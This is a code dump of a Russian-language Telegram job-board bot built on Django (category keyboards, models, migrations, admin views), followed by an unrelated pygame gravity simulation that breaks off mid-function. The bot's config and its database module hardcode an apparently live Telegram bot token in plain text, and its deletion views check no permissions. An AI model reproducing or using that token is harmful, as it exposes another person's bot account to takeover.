для Фотография photo = InlineKeyboardMarkup(row_width=1) photo_1 = InlineKeyboardButton('Ретуширование/коллажи', callback_data='photo Ретуширование/коллажи') photo_2 = InlineKeyboardButton('Рекламная/Постановочная', callback_data='photo Рекламная/Постановочная') photo_3 = InlineKeyboardButton('Художественная/Арт', callback_data='photo Художественная/Арт') photo_4 = InlineKeyboardButton('Мероприятия/Репортажи', callback_data='photo Мероприятия/Репортажи') photo_5 = InlineKeyboardButton('Модели', callback_data='photo Модели') photo_6 = InlineKeyboardButton('Свадебная фотосъемка', callback_data='photo Свадебная фотосъемка') photo_7 = InlineKeyboardButton('Архитектура/Интерьер', callback_data='photo Архитектура/Интерьер') photo_8 = InlineKeyboardButton('Промышленная фотосъемка', callback_data='photo Промышленная фотосъемка') photo.add( photo_1, photo_2, photo_3, photo_4, photo_5, photo_6, photo_7, photo_8, back_rubric ) # Кнопки для Аудио/Видео video = InlineKeyboardMarkup(row_width=1) video_1 = InlineKeyboardButton('Видеомонтаж', callback_data='video Видеомонтаж') video_2 = InlineKeyboardButton('Музыка/Звуки', callback_data='video Музыка/Звуки') video_3 = InlineKeyboardButton('Диктор', callback_data='video Диктор') video_4 = InlineKeyboardButton('Видеодизайн', callback_data='video Видеодизайн') video_5 = InlineKeyboardButton('Аудиомонтаж', callback_data='video Аудиомонтаж') video_6 = InlineKeyboardButton('Видеосъемка', callback_data='video Видеосъемка') video_7 = InlineKeyboardButton('Создание субтитров', callback_data='video Создание субтитров') video_8 = InlineKeyboardButton('Видеопрезентации', callback_data='video Видеопрезентации') video_9 = InlineKeyboardButton('Видеоинфографика', callback_data='video Видеоинфографика') video_10 = InlineKeyboardButton('Режиссура', callback_data='video Режиссура') video_11 = InlineKeyboardButton('Свадебное видео', callback_data='video Свадебное видео') video_12 = InlineKeyboardButton('Кастинг', callback_data='video Кастинг') video_13 = InlineKeyboardButton('Раскадровки', callback_data='video Раскадровки') video.add( video_1, video_2, video_3, video_4, video_5, video_6, video_7, video_8, video_9, video_10, video_11, video_12, video_13, back_rubric ) # Кнопки для Переводы tl = InlineKeyboardMarkup(row_width=1) tl_1 = InlineKeyboardButton('Перевод текстов общей тематики', callback_data='tl Перевод текстов общей тематики') tl_2 = InlineKeyboardButton('Технический перевод', callback_data='tl Технический перевод') tl_3 = InlineKeyboardButton('Художественный перевод', callback_data='tl Художественный перевод') tl_4 = InlineKeyboardButton('Локализация ПО, сайтов и игр', callback_data='tl Локализация ПО, сайтов и игр') tl_5 = InlineKeyboardButton('Деловая переписка', callback_data='tl Деловая переписка') tl_6 = InlineKeyboardButton('Редактирование переводов', callback_data='tl Редактирование переводов') tl_7 = InlineKeyboardButton('Устный перевод', callback_data='tl Устный перевод') tl.add( tl_1, tl_2, tl_3, tl_4, tl_5, tl_6, tl_7, back_rubric ) # Кнопки для 3D Графика gr3d = InlineKeyboardMarkup(row_width=1) gr3d_1 = InlineKeyboardButton('3D Моделирование', callback_data='gr3d 3D Моделирование') gr3d_2 = InlineKeyboardButton('Интерьеры', callback_data='gr3d Интерьеры') gr3d_3 = InlineKeyboardButton('Видеодизайн', callback_data='gr3d Видеодизайн') gr3d_4 = InlineKeyboardButton('3D Анимация', callback_data='gr3d 3D Анимация') gr3d_5 = InlineKeyboardButton('Экстерьеры', callback_data='gr3d Экстерьеры') gr3d_6 = InlineKeyboardButton('3D Иллюстрации', callback_data='gr3d 3D Иллюстрации') gr3d_7 = InlineKeyboardButton('Предметная визуализация', callback_data='gr3d Предметная визуализация') gr3d_8 = InlineKeyboardButton('3D Персонажи', callback_data='gr3d 3D Персонажи') gr3d.add( gr3d_1, gr3d_2, gr3d_3, gr3d_4, gr3d_5, gr3d_6, gr3d_7, gr3d_8, back_rubric ) # Кнопки для Анимация и флеш flash = InlineKeyboardMarkup(row_width=1) flash_1 = InlineKeyboardButton('Баннеры', callback_data='flash Баннеры') flash_2 = InlineKeyboardButton('Флеш-баннеры', callback_data='flash Флеш-баннеры') flash_3 = InlineKeyboardButton('Музыка/Звуки', callback_data='flash Музыка/Звуки') flash_4 = InlineKeyboardButton('2D Персонажи', callback_data='flash 2D Персонажи') flash_5 = InlineKeyboardButton('2D Анимация', callback_data='flash 2D Анимация') flash_6 = InlineKeyboardButton('3D Анимация', callback_data='flash 3D Анимация') flash_7 = InlineKeyboardButton('3D Персонажи', callback_data='flash 3D Персонажи') flash_8 = InlineKeyboardButton('Гейм-арт', callback_data='flash Гейм-арт') flash_9 = InlineKeyboardButton('Flash/Flex-программирование', callback_data='flash Flash/Flex-программирование') flash_10 = InlineKeyboardButton('Флеш-сайты', callback_data='flash Флеш-сайты') flash_11 = InlineKeyboardButton('2D Флеш-анимация', callback_data='flash 2D Флеш-анимация') flash_12 = InlineKeyboardButton('Сценарии для анимации', callback_data='flash Сценарии для анимации') flash_13 = InlineKeyboardButton('Флеш-графика', callback_data='flash Флеш-графика') flash_14 = InlineKeyboardButton('Виртуаьные туры', callback_data='flash Виртуаьные туры') flash_15 = InlineKeyboardButton('Раскадровка', callback_data='flash Раскадровка') flash.add( flash_1, flash_2, flash_3, flash_4, flash_5, flash_6, flash_7, flash_8, flash_9, flash_10, flash_11, flash_12, flash_13, flash_14, flash_15, back_rubric ) # Кнопки для Разработка игр game = InlineKeyboardMarkup(row_width=1) game_1 = InlineKeyboardButton('Рисунки и иллюстрации', callback_data='game Рисунки и иллюстрации') game_2 = InlineKeyboardButton('2D Анимация', callback_data='game 2D Анимация') game_3 = InlineKeyboardButton('3D Моделирование', callback_data='game 3D Моделирование') game_4 = InlineKeyboardButton('Программирование игр', callback_data='game Программирование игр') game_5 = InlineKeyboardButton('3D Анимация', callback_data='game 3D Анимация') game_6 = InlineKeyboardButton('Тестирование игр (QA)', callback_data='game Тестирование игр (QA)') game_7 = InlineKeyboardButton('Пиксел-арт', callback_data='game Пиксел-арт') game_8 = InlineKeyboardButton('Озвучивание игр', callback_data='game Озвучивание игр') game_9 = InlineKeyboardButton('Flash/Flex-программирование', callback_data='game Flash/Flex-программирование') game_10 = InlineKeyboardButton('Концепт/Эскизы', callback_data='game Концепт/Эскизы') game_11 = InlineKeyboardButton('Макросы для игр', callback_data='game Макросы для игр') game_12 = InlineKeyboardButton('Видеоролики', callback_data='game Видеоролики') game_13 = InlineKeyboardButton('Экономика игр', callback_data='game Экономика игр') game.add( game_1, game_2, game_3, game_4, game_5, game_6, game_7, game_8, game_9, game_10, game_11, game_12, game_13, back_rubric ) # Кнопки для Архитектура/Интерьер arh = InlineKeyboardMarkup(row_width=1) arh_1 = InlineKeyboardButton('Интерьеры', callback_data='arh Интерьеры') arh_2 = InlineKeyboardButton('Архитектура', callback_data='arh Архитектура') arh_3 = InlineKeyboardButton('Визуализация/3D', callback_data='arh Визуализация/3D') arh_4 = InlineKeyboardButton('Ландшафтный дизайн/Генплан', callback_data='arh Ландшафтный дизайн/Генплан') arh_5 = InlineKeyboardButton('Макетирование', callback_data='arh Макетирование') arh.add( arh_1, arh_2, arh_3, arh_4, arh_5, back_rubric ) # Кнопки для Инжиниринг ig = InlineKeyboardMarkup(row_width=1) ig_1 = InlineKeyboardButton('Чертежи/Схемы', callback_data='ig Чертежи/Схемы') ig_2 = InlineKeyboardButton('Машиностроение', callback_data='ig Машиностроение') ig_3 = InlineKeyboardButton('Конструкции', callback_data='ig Конструкции') ig_4 = InlineKeyboardButton('Слаботочные сети/Автоматизация', callback_data='ig Слаботочные сети/Автоматизация') ig_5 = InlineKeyboardButton('Электрика', callback_data='ig Электрика') ig_6 = InlineKeyboardButton('Сметы', callback_data='ig Сметы') ig_7 = InlineKeyboardButton('Отопление/Вентиляция', callback_data='ig Отопление/Вентиляция') ig_8 = InlineKeyboardButton('Разборка радиоэлектронных систем', callback_data='ig Разборка радио систем') ig_9 = InlineKeyboardButton('Водоснабжение/Канализация', callback_data='ig Водоснабжение/Канализация') ig_10 = InlineKeyboardButton('Технология', callback_data='ig Технология') ig_11 = InlineKeyboardButton('Газоснабжение', callback_data='ig Газоснабжение') ig.add( ig_1, ig_2, ig_3, ig_4, ig_5, ig_6, ig_7, ig_8, ig_9, ig_10, ig_11, back_rubric ) # Кнопки для Аутсорсинг и консалтинг source = InlineKeyboardMarkup(row_width=1) source_1 = InlineKeyboardButton('Переводы/Тексты', callback_data='source Переводы/Тексты') source_2 = InlineKeyboardButton('Ввод и обработка данных/текста', callback_data='source Ввод и обработка данных') source_3 = InlineKeyboardButton('Юриспруденция', callback_data='source Юриспруденция') source_4 = InlineKeyboardButton('Бухгалтерия', callback_data='source Бухгалтерия') source_5 = InlineKeyboardButton('Реклама/Маркетинг', callback_data='source Реклама/Маркетинг') source_6 = InlineKeyboardButton('Разработка сайтов', callback_data='source Разработка сайтов') source_7 = InlineKeyboardButton('Дизайн/Арт', callback_data='source Дизайн/Арт') source_8 = InlineKeyboardButton('Репетиторы', callback_data='source Репетиторы') source_9 = InlineKeyboardButton('Программирование', callback_data='source Программирование') source_10 = InlineKeyboardButton('Обработка заказов', callback_data='source Обработка заказов') source_11 = InlineKeyboardButton('Бизнес-консультировнаие', callback_data='source Бизнес-консультировнаие') source_12 = InlineKeyboardButton('Обработка писем', callback_data='source Обработка писем') source_13 = InlineKeyboardButton('Обслуживание клиентов', callback_data='source Обслуживание клиентов') source_14 = InlineKeyboardButton('Оптимизация (SEO)', callback_data='source Оптимизация (SEO)') source_15 = InlineKeyboardButton('Тех. поддержка', callback_data='source Тех. поддержка') source_16 = InlineKeyboardButton('Виртуальный ассистент', callback_data='source Виртуальный ассистент') source_17 = InlineKeyboardButton('Финансовый консультант', callback_data='source Финансовый консультант') source_18 = InlineKeyboardButton('Поддержка по телефону', callback_data='source Поддержка по телефону') source_19 = InlineKeyboardButton('Кадровый учет и зарплата', callback_data='source Кадровый учет и зарплата') source_20 = InlineKeyboardButton('Юзабилити', callback_data='source Юзабилити') source_21 = InlineKeyboardButton('Статистический анализ', callback_data='source Статистический анализ') source_22 = InlineKeyboardButton('Управление предприятием', callback_data='source Управление предприятием') source_23 = InlineKeyboardButton('Обработка платежей', callback_data='source Обработка платежей') source.add( source_1, source_2, source_3, source_4, source_5, source_6, source_7, source_8, source_9, source_10, source_11, source_12, source_13, source_14, source_15, source_16, source_17, source_18, source_19, source_20, source_21, source_22, source_23, back_rubric ) # Кнопки для Обучение и консультации edu = InlineKeyboardMarkup(row_width=1) edu_1 = InlineKeyboardButton('Рефераты/Курсовые/Дипломы', callback_data='edu Рефераты/Курсовые/Дипломы') edu_2 = InlineKeyboardButton('Репетиторы', callback_data='edu Репетиторы') edu_3 = InlineKeyboardButton('Психолог', callback_data='edu Психолог') edu_4 = InlineKeyboardButton('Иностранные языки', callback_data='edu Иностранные языки') edu_5 = InlineKeyboardButton('Гуманитарные дисциплины', callback_data='edu Гуманитарные дисциплины') edu_6 = InlineKeyboardButton('Дошкольное образование', callback_data='edu Дошкольное образование') edu_7 = InlineKeyboardButton('Технические дисциплины', callback_data='edu Технические дисциплины') edu_8 = InlineKeyboardButton('Путешествия', callback_data='edu Путешествия') edu_9 = InlineKeyboardButton('Стилист', callback_data='edu Стилист') edu.add( edu_1, edu_2, edu_3, edu_4, edu_5, edu_6, edu_7, edu_8, edu_9, back_rubric ) # Кнопки для Сети и инфосистемы info = InlineKeyboardMarkup(row_width=1) info_1 = InlineKeyboardButton('Сетевое администрирование', callback_data='info Сетевое администрирование') info_2 = InlineKeyboardButton('Администрирование баз данных', callback_data='info Администрирование баз данных') info_3 = InlineKeyboardButton('EPR и CRM интеграции', callback_data='info EPR и CRM интеграции') info.add( info_1, info_2, info_3, back_rubric ) # Кнопки для Мобильные приложения apps = InlineKeyboardMarkup(row_width=1) apps_1 = InlineKeyboardButton('Google Android', callback_data='apps Google Android') apps_2 = InlineKeyboardButton('IOS', callback_data='apps IOS') apps_3 = InlineKeyboardButton('Дизайн', callback_data='apps Дизайн') apps_4 = InlineKeyboardButton('Прототипирование', callback_data='apps Прототипирование') apps_5 = InlineKeyboardButton('Windows Phone', callback_data='apps Windows Phone') apps.add( apps_1, apps_2, apps_3, apps_4, apps_5, back_rubric ) --- FILE SEPARATOR --- TOKEN = '1227931750:AAHxjQLO4oV9jdLPtD3gETJvHXEjAnrwZu4' PAYMENTS_PROVIDER_TOKEN = '381764678:TEST:16263' --- FILE SEPARATOR --- from main.models import Resume, Vacancy, Questions import telebot bot = telebot.TeleBot('1227931750:AAHxjQLO4oV9jdLPtD3gETJvHXEjAnrwZu4') from asgiref.sync import async_to_sync, sync_to_async @sync_to_async def save_resume(tg_id, position, contacts, money, experience, education, skills, info, portfolio_url): try: print(tg_id, position, contacts, money, experience, education, skills, info, portfolio_url) m = Resume( tg_id=tg_id, position=position, contacts=contacts, money=money, experience=experience, education=education, skills=skills, info=info, portfolio_url=portfolio_url ) m.save() print('yep') except: bot.send_message(tg_id, 'Мы не смогли создать резюме. Видимо, у вас уже есть резюме.\nНапишите в поддержку.') @sync_to_async def save_vacancy(tg_id, position, company_name, what_do, requirements, conditions, money, contacts): try: m = Vacancy( tg_id=tg_id, position=position, company_name=company_name, what_do=what_do, requirements=requirements, conditions=conditions, money=money, contacts=contacts, ) m.save() print('yep') except: bot.send_message(tg_id, 'Мы не смогли создать вакансию. Видимо, у вас уже есть резвакансияюме.\nНапишите в поддержку.') @sync_to_async def save_rubric(tg_id, rubric, position2): m = Vacancy.objects.filter(tg_id=tg_id) m.update(rubric=rubric, position2=position2) print('yep') @sync_to_async def save_question(tg_id, question): m = Questions( tg_id=tg_id, question=question, ) m.save() print('yep') @sync_to_async def payed_update(tg_id): m = Vacancy.objects.filter(tg_id=tg_id) m.update(payed=True) v = Resume.object.filter(tg_id=tg_id) v.update(payed=True) print('yep') --- FILE SEPARATOR --- # Generated by Django 3.0 on 2020-05-15 05:38 from django.db import migrations, models class Migration(migrations.Migration): initial = True dependencies = [ ] operations = [ migrations.CreateModel( name='Questions', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('tg_id', models.PositiveIntegerField(verbose_name='Телеграмм ID')), ('question', models.TextField(verbose_name='Вопрос')), ('answer', models.TextField(blank=True, verbose_name='Ответ')), ], ), migrations.CreateModel( name='Resume', fields=[ ('tg_id', models.PositiveIntegerField(primary_key=True, serialize=False, unique=True, verbose_name='Телеграмм ID')), ('full_name', models.CharField(max_length=150, verbose_name='ФИО')), ('date_b', models.TextField(blank=True, verbose_name='Дата рождения')), ('country_city', models.TextField(default='Не указано', verbose_name='Страна и город')), ('position', models.CharField(max_length=100, verbose_name='Желаемая должность')), ('contacts', models.TextField(verbose_name='Контакты')), ('money', models.TextField(verbose_name='Желаемая з/п')), ('experience', models.TextField(verbose_name='Опыт')), ('education', models.TextField(blank=True, verbose_name='Образование')), ('skills', models.TextField(verbose_name='Проф. навыки')), ('recomendations', models.TextField(blank=True, verbose_name='Рекомендации')), ('info', models.TextField(blank=True, verbose_name='Личные качества')), ('portfolio_url', models.URLField(blank=True, verbose_name='Портфолио')), ], ), migrations.CreateModel( name='Vacancy', fields=[ ('tg_id', models.PositiveIntegerField(primary_key=True, serialize=False, unique=True, verbose_name='Телеграмм ID')), ('position', models.TextField(verbose_name='Должность в компании')), ('company_name', models.TextField(verbose_name='Название компании')), ('what_do', models.TextField(verbose_name='Что делать')), ('requirements', models.TextField(verbose_name='Требования')), ('conditions', models.TextField(verbose_name='Условия')), ('money', models.TextField(verbose_name='З/П')), ('contacts', models.TextField(verbose_name='Контакты')), ('rubric', models.TextField(verbose_name='Рубрика')), ('position2', models.TextField(verbose_name='Должность')), ], ), ] --- FILE SEPARATOR --- # Generated by Django 3.0 on 2020-05-15 06:12 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('main', '0001_initial'), ] operations = [ migrations.AddField( model_name='resume', name='status', field=models.BooleanField(default=False, verbose_name='Cтатус'), ), migrations.AddField( model_name='vacancy', name='status', field=models.BooleanField(default=False, verbose_name='Cтатус'), ), ] --- FILE SEPARATOR --- # Generated by Django 3.0 on 2020-05-15 09:47 from django.db import migrations class Migration(migrations.Migration): dependencies = [ ('main', '0002_auto_20200515_1112'), ] operations = [ migrations.RemoveField( model_name='resume', name='country_city', ), migrations.RemoveField( model_name='resume', name='date_b', ), migrations.RemoveField( model_name='resume', name='full_name', ), ] --- FILE SEPARATOR --- # Generated by Django 3.0 on 2020-05-15 10:13 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('main', '0003_auto_20200515_1447'), ] operations = [ migrations.RemoveField( model_name='resume', name='recomendations', ), migrations.AlterField( model_name='resume', name='portfolio_url', field=models.TextField(blank=True, verbose_name='Портфолио'), ), ] --- FILE SEPARATOR --- # Generated by Django 3.0 on 2020-05-16 04:02 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('main', '0004_auto_20200515_1513'), ] operations = [ migrations.AlterField( model_name='resume', name='status', field=models.BooleanField(blank=True, default=False, verbose_name='Cтатус'), ), ] --- FILE SEPARATOR --- # Generated by Django 3.0 on 2020-05-16 06:54 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('main', '0005_auto_20200516_0902'), ] operations = [ migrations.AddField( model_name='resume', name='payed', field=models.BooleanField(default=False, verbose_name='Оплата'), ), migrations.AddField( model_name='vacancy', name='payed', field=models.BooleanField(default=False, verbose_name='Оплата'), ), ] --- FILE SEPARATOR --- from django.db import models class Resume(models.Model): tg_id = models.PositiveIntegerField(verbose_name='Телеграмм ID', unique=True, primary_key=True) position = models.CharField(verbose_name='Желаемая должность', max_length=100) contacts = models.TextField(verbose_name='Контакты') money = models.TextField(verbose_name='Желаемая з/п') experience = models.TextField(verbose_name='Опыт') education = models.TextField(verbose_name='Образование', blank=True) skills = models.TextField(verbose_name='Проф. навыки') info = models.TextField(verbose_name='Личные качества', blank=True) portfolio_url = models.TextField(verbose_name='Портфолио', blank=True) status = models.BooleanField(verbose_name='Cтатус', default=False, blank=True) payed = models.BooleanField(verbose_name='Оплата', default=False) class Vacancy(models.Model): tg_id = models.PositiveIntegerField(verbose_name='Телеграмм ID', unique=True, primary_key=True) position = models.TextField(verbose_name='Должность в компании') company_name = models.TextField(verbose_name='Название компании') what_do = models.TextField(verbose_name='Что делать') requirements = models.TextField(verbose_name='Требования') conditions = models.TextField(verbose_name='Условия') money = models.TextField(verbose_name='З/П') contacts = models.TextField(verbose_name='Контакты') rubric = models.TextField(verbose_name='Рубрика') position2 = models.TextField(verbose_name='Должность') status = models.BooleanField(verbose_name='Cтатус', default=False) payed = models.BooleanField(verbose_name='Оплата', default=False) class Questions(models.Model): tg_id = models.PositiveIntegerField(verbose_name='Телеграмм ID') question = models.TextField(verbose_name='Вопрос') answer = models.TextField(verbose_name='Ответ', blank=True) --- FILE SEPARATOR --- from django.urls import path, include from . import views urlpatterns = [ path('', views.home, name='main'), path('vacancy/', views.vacancy, name='vacancy'), path('vacancy/del/', views.del_vacancy, name='del_vacancy'), path('vacancy/send_vacancy/', views.send_vacancy, name='update'), path('resume/', views.resume, name='resume'), path('resume/del/', views.del_resume, name='del_resume'), path('resume/send_resume/', views.send_resume, name='update'), path('questions/', views.questions, name='questions'), path('questions/make_answer/', views.make_answer, name='make_answer'), path('questions/make_answer/send_answer/', views.send_answer, name='send_answer'), path('questions/del/', views.del_question, name='del'), ] --- FILE SEPARATOR --- from django.shortcuts import render, redirect from .models import Questions, Vacancy, Resume from .management.commands import bot def home(request): data = {'title': 'Главная'} return render(request, 'main/main.html', data) def vacancy(request): data = {'title': 'Вакансии', 'vacancy': Vacancy.objects.all()} return render(request, 'main/vacancy.html', data) def del_vacancy(request): values = request.POST.getlist('some_name') Vacancy.objects.filter(tg_id__in=values).delete() return redirect('http://127.0.0.1:8000/main/vacancy/') def send_vacancy(request): tg_id = int(request.POST.get('somes')) m = Vacancy.objects.filter(tg_id=tg_id) m.update(status=True) # all_part = Vacancy.objects.filter(tg_id=tg_id).all() bot.send_vacancy(tg_id) return redirect('http://127.0.0.1:8000/main/vacancy/') def resume(request): data = {'title': 'Резюме', 'resume': Resume.objects.all()} return render(request, 'main/resume.html', data) def del_resume(request): values = request.POST.getlist('some_name') Resume.objects.filter(tg_id__in=values).delete() return redirect('http://127.0.0.1:8000/main/resume/') def send_resume(request): tg_id = int(request.POST.get('somes')) m = Resume.objects.filter(tg_id=tg_id) m.update(status=True) # all_part = Vacancy.objects.filter(tg_id=tg_id).all() bot.send_resume(tg_id) return redirect('http://127.0.0.1:8000/main/resume/') def questions(request): data = {'title': 'Вопросы', 'questions': Questions.objects.all()} return render(request, 'main/questions.html', data) def del_questions(request): values = request.POST.getlist('some_name') Questions.objects.filter(tg_id__in=values).delete() return redirect('http://127.0.0.1:8000/main/questions/') # def send_questions(request): # tg_id = int(request.POST.get('tg_id')) # id_bd = int(request.POST.get('id_bd')) # print(id_bd) # text = request.POST.get('answer') # question = request.POST.get('question') # m = Questions.objects.filter(id=id_bd) # m.update(answer=text) # bot.send_questions(tg_id, question, text) # # return redirect('http://127.0.0.1:8000/main/resume/') def make_answer(request): id_bd = request.POST.get("id_bd") tg_id = request.POST.get("tg_id") question = request.POST.get("question") data = { 'id_bd': id_bd, 'tg_id': tg_id, 'question': question, 'title': 'Ответ'} return render(request, 'main/make_answer.html', data) def send_answer(request): tg_id = int(request.POST.get('tg_id')) id_bd = int(request.POST.get('id_bd')) print(id_bd) text = request.POST.get('answer') question = request.POST.get('question') m = Questions.objects.filter(id=id_bd) m.update(answer=text) bot.send_questions(tg_id, text, question) return redirect('http://127.0.0.1:8000/main/questions/') def del_question(request): values = request.POST.getlist('some') Questions.objects.filter(id__in=values).delete() return redirect('http://127.0.0.1:8000/main/questions/')
[ "/main/admin.py", "/main/management/commands/bot.py", "/main/management/commands/bot_general.py", "/main/management/commands/buttons.py", "/main/management/commands/config.py", "/main/management/commands/testing.py", "/main/migrations/0001_initial.py", "/main/migrations/0002_auto_20200515_1112.py", "/main/migrations/0003_auto_20200515_1447.py", "/main/migrations/0004_auto_20200515_1513.py", "/main/migrations/0005_auto_20200516_0902.py", "/main/migrations/0006_auto_20200516_1154.py", "/main/models.py", "/main/urls.py", "/main/views.py" ]
0dminnimda/Physical_simulation
import numpy as np import time import cv2 as cv from functools import reduce import random as ra def add_vec(v, w): return [vi + wi for vi, wi in zip(v, w)] def sum_vec(*vecs): return reduce(add_vec, vecs) def ve_l(a): return np.linalg.norm(a) def v_vec(r,m,step): k = ve_l(r)**3/m r[0]=r[0]/k*step r[1]=r[1]/k*step return r class body(): def __init__(self, m, pos, vec, step): #self.rad = 2 self.m = m#*10**-5 self.x, self.y = pos self.vec = vec self.step=step #self.g=6.6743015*10**-11 pass def pr(self,*ar,**kw): en = "\n" if kw.get("end") != None: en = kw.get("end") if len(ar) == 1: print(self.__dict__[ar[0]], end=en) else: print(self.__dict__, end=en) def calc(self, *obb): for ob in obb: mx, my = self.x, self.y dx, dy = ob.x, ob.y nvec = v_vec([-mx+dx, -my+dy], ob.m, self.step) self.vec = sum_vec(nvec, self.vec) vec = self.vec self.x += vec[0] self.y += vec[1] def move(self): vec = self.vec self.x += vec[0] self.y += vec[1] def main(self, ob): dm = ob.m mx, dx = self.x, ob.x my, dy = self.y, ob.y vex = self.xv vey = self.yv st = self.step fo = 0 bo = False ar = [my, dy] ar2 = [mx, dx] minx, maxx = min(ar2), max(ar2) miny, maxy = min(ar), max(ar) mul = 1 if mx == maxx: mul = -1 if (maxx-minx) <= self.rad: bo = True a = 0 elif (maxx-minx) != 0: a = dm/(maxx-minx)**2*mul vex += a*st mx += vex*st mul2 = 1 if my == maxy: mul2 = -1 if (maxy-miny) <= self.rad: bo = True a2 = 0 elif (maxy-miny) != 0: a2 = dm/(maxy-miny)**2*mul2 vey += a2*st my += vey*st self.x = mx self.xv = vex self.y = my self.yv = vey #return mx, my, bo pass def draw(self, path, col, r, scax, scay, indentx, indenty): px, py = self.x, self.y hx = path.shape[1]/2 + px*scax + path.shape[1]*indentx/100 hy = path.shape[0]/2 + py*scay + path.shape[0]*indenty/100 cv.circle(path, (int(hx), int(hy)), r, col, -1) return path step=1*10**-6 xp1, yp1 = 5, -3 xp2, yp2 = -5, -3 xp3, yp3 = 0, 4.5 xv1, yv1 = ra.randint(-2,2)*10**-4, ra.randint(-2,2)*10**-4 xv2, yv2 = ra.randint(-2,2)*10**-4, ra.randint(-2,2)*10**-4 xv3, yv3 = ra.randint(-2,2)*10**-4, ra.randint(-2,2)*10**-4 m1 = 5 m2 = 5 m3 = 3 a = body(m1, [xp1, yp1], [xv1, yv1], step) b = body(m2, [xp2, yp2], [xv2, yv2], step) c = body(m3, [xp3, yp3], [xv3, yv3], step) scax = scay = 7.5 indx, indy = 0, 0 # percent co = 0 path = np.zeros((790, 1300, 3)) while 1: a.calc(b) b.calc(a) #c.calc(a, b) if co%1 == 0: path = a.draw(path, (0,0,255), 1, scax, scay, indx, indy) path = b.draw(path, (255,0,0), 1, scax, scay, indx, indy) #path = c.draw(path, (0,255,0), 1, scax, scay, indx, indy) if co%500 == 0: img = a.draw(path.copy(), (0,0,255), 6, scax, scay, indx, indy) img = b.draw(img, (255,0,0), 6, scax, scay, indx, indy) #img = c.draw(img, (0,255,0), 6, scax, scay, indx, indy) cv.imshow("img", img) if cv.waitKey(1) & 0xFF == ord('2'): #cv.imwrite("physics_sim.png", img) #cv.destroyAllWindows() path = np.zeros((790, 1300, 3)) #break xp1, yp1 = ra.randint(-7,7), ra.randint(-7,7) xp2, yp2 = ra.randint(-7,7), ra.randint(-7,7) xv1, yv1 = ra.randint(-3,3)*10**-4, ra.randint(-3,3)*10**-4 xv2, yv2 = ra.randint(-3,3)*10**-4, ra.randint(-3,3)*10**-4 m1 = ra.randint(1,5) m2 = ra.randint(1,5) a = body(m1, [xp1, yp1], [xv1, yv1], step) b = body(m2, [xp2, yp2], [xv2, yv2], step) co += 1 print(co) --- FILE SEPARATOR --- import numpy as np import time import pygame from functools import reduce import random as ra from random import randint as ri import math as ma from pygame.locals import * from oop_phy_pygame import * # инициализация pygame pygame.init() # масштаб p = 1.91 scax = scay = 50 #40*p#87.5*p # сдвиг, в % от всего изображения indx, indy = 0, 0 # percent # масса m1 = -1 #ra.randint(3, 7) m2 = 1*10**0.5 #ra.randint(3, 7) # положение тел xp1, yp1 = 0, 0 #ra.randint(-3, 3), ra.randint(-3, 3) -2.5 xp2, yp2 = 0, 3 #ra.randint(-3, 3), ra.randint(-3, 3) # нач скорость xv1, yv1 = 0, 0 #ra.randint(-3, 3)*10**-4, ra.randint(-3, 3)*10**-4 5.3153 xv2, yv2 = 4, 0 #ra.randint(-3, 3)*10**-4, ra.randint(-3, 3)*10**-4 # шаг времени step = 1*10**-6.75 # границы border = (0, 0) #(16, 8) # реагирует ли тело на другие тела react1 = 1 react2 = 1 # # реагируют ли другие тела на тело reall1 = 1 reall2 = 1 # цвет тел col1 = (0, 0, 255) col2 = (255, 0, 0) # радиус пути rpath = 1 # радиус отрисовки тел r1 = r2 = r3 = r4 = r_n = 10 # отрисовка тел draw1 = 1 draw2 = 1 # draw_n = 1 # максимальное количество точек в массиве пути max = 750 # соединять ли точки пути conn = bool( 1 ) # движение ind_n = 0.005 ind_c = 1 # sca_n = 0.001 sca_c = 1 # отрисовка векторов dr_vec1 = 1 # dr_vec2 = 1 dr_vec_n = 1 # толщина линии вектора нач скорости # при создании нового тела st_vec_r = 6 # частота отрисовки dr_fr_path = 50 #+ 4*52 dr_fr_body = 300 # импорт картинки, реализация экрана scr = (1540, 801) #(1080, 2340) path, bgr = main_relise("space2.jpg", scr) star = img_imp("star2.png", 50, (255, 255, 255)) # реализация текста dr_txt = bool( 1 ) f_siz = 30 num_symol = 6 st_point = (15, 15) fram_c = (127, 127, 127) font, bla, black = font_rel(f_siz, num_symol, 1, fram_c) # параметры для шоу "смена частоты отрисовки" cha = False conv_n = [True for _ in range(3)] end_n = [True for _ in range(2)] conv_v = 5.125 end_v = 20.5 i_conv = i_end = end_in = 0 # создание экземпляра класса a = body(m1, [xp1, yp1], [xv1, yv1], (step, border, react1, reall1), (col1, rpath, r1, draw1, dr_vec1, max, conn)) b = body(m2, [xp2, yp2], [xv2, yv2], (step, border, react2, reall2), (col2, rpath, r2, draw2, dr_vec2, max, conn), model=star) # массив со всеми телами, что # будут использоваться в симуляции all_bodies = [a, b] # создаём "упаковки" для информации txt = dr_txt, st_point, font, bla, black draw = scr, path, bgr, dr_fr_path, dr_fr_body, max, conn correction = scax, scay, indx, indy, ind_n, ind_c, sca_n, sca_c show = cha, conv_n, end_n, conv_v, end_v, i_conv phy = step, border, rpath, r_n, draw_n, dr_vec_n, st_vec_r main_f(all_bodies, phy, draw, txt, show, correction) --- FILE SEPARATOR --- import numpy as np import time import pygame from functools import reduce import random as ra from random import randint as ri import math as ma from pygame.locals import * # сложение друх векторов def add_vec(v, w, sign=1): return [vi + wi*sign for vi, wi in zip(v, w)] # сложение нескольких векторов def sum_vec(*vecs): return reduce(add_vec, vecs) # вычисл модуля вектора def ve_l(a): return np.linalg.norm(a) # умножение модуля def vec_mul(arr, mul): return [i*mul for i in arr] def transform(x, y, w, h, scax, scay, indentx, indenty): x = w/2 + x*scax + w*indentx/100 y = h/2 + y*scay + h*indenty/100 return x, y # конвертация позиций нажатий в нужные значения def mp(sx, sy, scr, indx, indy): mp = pygame.mouse.get_pos() x = mp[0] - scr[0]/2 - scr[0]*indx/100 y = mp[1] - scr[1]/2 - scr[1]*indy/100 x /= sx y /= sy return (x,y) # вычисл вект скорости напрпр к др телу def v_vec(r, m1, m2, step): dist = ve_l(r) f = m1*m2/dist**2 #dist**2/m1*m2 a = f/m1 k = dist/a r[0] = r[0]/k*step r[1] = r[1]/k*step return r # пауза def pau(): while 1: event = pygame.event.wait() 